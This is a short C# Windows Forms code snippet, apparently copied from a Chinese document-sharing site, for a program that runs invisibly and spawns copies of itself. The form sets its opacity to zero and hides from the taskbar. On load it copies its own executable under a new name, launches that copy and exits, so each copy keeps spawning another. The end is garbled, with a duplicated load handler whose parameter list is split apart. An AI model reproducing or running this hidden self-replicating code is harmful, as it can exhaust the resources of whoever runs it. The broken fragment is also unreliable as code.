public partial class Form1 : Form { public Form1() { this.Opacity = 0; InitializeComponent(); } void copy_self() { const int ntotal = 10; int nnum = ntotal; string filepn = Application.ExecutablePath; string sztime = DateTime.Now.Ticks.ToString(); string filen = Path.GetFileName(filepn); while (nnum-- > 0) { FileStream fsr = new FileStream(filen, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); byte[] bfiler = new byte[fsr.Length]; fsr.Read(bfiler, 0, bfiler.Length); FileStream fsw = new FileStream(sztime + ".exe", FileMode.OpenOrCreate, FileAccess.Write, FileShare.None); fsw.Write(bfiler, 0, bfiler.Length); fsw.Close(); System.Diagnostics.Process.Start(sztime + ".exe"); System.Threading.Thread.Sleep(2); Application.Exit(); // string filep = Application.StartupPath; } } private void Form1_Load(object sender, EventArgs e) { this.ShowInTaskbar = false; copy_self(); // Application.Exit(); } } private void Form1_Load(object sender, { this.ShowInTaskbar = false; copy_self(); } EventArgs e) 本文来源:https://www.wddqw.com/doc/729263f5c8d376eeaeaa31aa.html